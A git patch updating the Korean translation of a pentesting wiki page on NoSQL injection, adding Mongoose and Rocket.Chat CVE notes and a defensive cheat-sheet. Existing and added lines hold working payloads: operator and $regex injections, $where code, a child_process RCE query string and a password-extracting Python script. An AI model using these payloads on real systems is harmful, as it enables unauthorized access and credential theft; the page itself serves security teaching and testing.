From b9d413744a405f7b55cb74b1dc94c2064f627273 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 14 Aug 2025 00:36:50 +0000 Subject: [PATCH] Translated ['src/pentesting-web/nosql-injection.md'] to ko --- src/pentesting-web/nosql-injection.md | 48 ++++++++++++++++++++++++--- 1 file changed, 43 insertions(+), 5 deletions(-) diff --git a/src/pentesting-web/nosql-injection.md b/src/pentesting-web/nosql-injection.md index 697ba0abe..c4223bebc 100644 --- a/src/pentesting-web/nosql-injection.md +++ b/src/pentesting-web/nosql-injection.md @@ -4,7 +4,7 @@ ## Exploit -PHP에서는 _parameter=foo_에서 _parameter\[arrName]=foo_로 전송된 매개변수를 변경하여 배열을 보낼 수 있습니다. +PHP에서는 _parameter=foo_에서 _parameter[arrName]=foo_로 전송된 매개변수를 변경하여 배열을 보낼 수 있습니다. 익스플로잇은 **연산자**를 추가하는 데 기반합니다: ```bash @@ -40,7 +40,7 @@ query = { $where: `this.username == '${username}'` } Normal sql: ' or 1=1-- - Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a ``` -### Extract **length** information +### **길이** 정보 추출 ```bash username[$ne]=toto&password[$regex]=.{1} username[$ne]=toto&password[$regex]=.{3} @@ -114,9 +114,43 @@ in JSON ```json { "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" } ``` +## Recent CVEs & Real-World Exploits (2023-2025) + +### Rocket.Chat 인증되지 않은 블라인드 NoSQLi – CVE-2023-28359 +버전 ≤ 6.0.0은 사용자 제어 **selector** 객체를 `find()`에 직접 전달하는 Meteor 메서드 `listEmojiCustom`을 노출했습니다. `{"$where":"sleep(2000)||true"}`와 같은 연산자를 주입함으로써 인증되지 않은 공격자는 타이밍 오라클을 구축하고 문서를 유출할 수 있었습니다. 이 버그는 6.0.1에서 selector 형태를 검증하고 위험한 연산자를 제거하여 패치되었습니다. + +### Mongoose `populate().match` `$where` RCE – CVE-2024-53900 & CVE-2025-23061 +`populate()`가 `match` 옵션과 함께 사용될 때, Mongoose (≤ 8.8.2)는 MongoDB에 전송하기 *전에* 객체를 그대로 복사했습니다. 따라서 `$where`를 제공하면 서버 측 JS가 MongoDB에서 비활성화되어 있어도 JavaScript가 **Node.js 내부**에서 실행되었습니다: +```js +// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id') +Post.find() +.populate({ path: 'author', match: req.query.author }); // RCE +``` +첫 번째 패치(8.8.3)는 최상위 `$where`를 차단했지만, `$or` 아래에 중첩시키면 필터를 우회할 수 있어 CVE-2025-23061로 이어졌습니다. 이 문제는 8.9.5에서 완전히 수정되었고, 새로운 연결 옵션 `sanitizeFilter: true`가 도입되었습니다. + +### GraphQL → Mongo 필터 혼란 +`args.filter`를 `collection.find()`에 직접 전달하는 리졸버는 여전히 취약합니다: +```graphql +query users($f:UserFilter){ +users(filter:$f){ _id email } +} + +# variables +{ "f": { "$ne": {} } } +``` +Mitigations: `$`로 시작하는 키를 재귀적으로 제거하거나, 허용된 연산자를 명시적으로 매핑하거나, 스키마 라이브러리(Joi, Zod)로 검증합니다. + +## Defensive Cheat-Sheet (updated 2025) + +1. `$`로 시작하는 키는 제거하거나 거부합니다 (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`). +2. 자체 호스팅된 MongoDB에서 서버 측 JavaScript를 비활성화합니다 (`--noscripting`, v7.0+에서 기본값). +3. `$where` 대신 `$expr` 및 집계 빌더를 선호합니다. +4. 데이터 유형을 조기에 검증합니다 (Joi/Ajv) 및 스칼라가 예상되는 곳에서 배열을 허용하지 않아 `[$ne]` 트릭을 피합니다. +5. GraphQL의 경우, 허용 목록을 통해 필터 인수를 변환합니다; 신뢰할 수 없는 객체를 절대 전파하지 마십시오. + ## MongoDB Payloads -목록 [여기서](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) +List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt) ``` true, $where: '1 == 1' , $where: '1 == 1' @@ -193,6 +227,7 @@ url = "http://example.com" headers = {"Host": "exmaple.com"} cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"} possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ] + def get_password(username): print("Extracting password of "+username) params = {"username":username, "password[$regex]":"", "login": "login"} @@ -225,16 +260,19 @@ for u in get_usernames(""): get_password(u) ``` ## 도구 - - [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration) - [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite) +- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL) +- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli) -## 참고자료 +## 참고문헌 - [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media) - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection) - [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/) - [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb) - [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/) +- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359) +- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900) {{#include ../banners/hacktricks-training.md}}